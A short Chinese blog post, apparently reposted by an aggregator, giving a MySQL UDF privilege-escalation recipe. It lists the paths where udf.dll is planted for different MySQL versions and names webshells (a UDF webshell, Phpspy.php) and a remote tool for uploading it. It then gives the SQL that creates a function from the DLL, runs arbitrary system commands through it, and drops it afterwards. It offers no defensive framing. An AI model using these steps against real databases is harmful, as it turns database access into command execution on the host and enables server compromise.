Mysql_UDF提權

作者：admin 發布于：2013-5-25 18:55 Saturday

分類：MYSQL

Root權限

一、上傳udf.dll

小于mysql5.1版本

C:\\WINDOWS\\udf.dll ?或

C:\\WINDOWS\\system32\\udf.dll

等于mysql5.1版本

%mysql%\\plugin\\udf.dll ?用 select

@@plugin_dir 查詢plugin路徑

默認 C:\\Program Files\\MySQL\\MySQL Server

5.1\\lib\\plugin\\udf.dll

1、UDF提權專用webshell，導出dll、再執行命令。

2、Phpspy.php的Mysql上傳(提示 "上傳失敗、原因:Result consisted of more than

one row"、實際上大多數已上傳成功)，再連接mysql執行命令。

3、Mysql允許外連的情況下也可以使用Hack MySQL上傳，再通過命令行登陸執行命令。

二、執行SQL

Create function MyCmd returns string soname "udf.dll";

Select MyCmd("CMD命令");

Drop function MyCmd;

標簽:udf

昵稱***(必填)

郵箱(選填，填寫后您會收到我的回復！)

網址(選填，填寫后本人回訪哦！)

總結

以上是生活随笔為你收集整理的mysql udf提权hex_Mysql_UDF提权的全部內容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯，歡迎將生活随笔推薦給好友。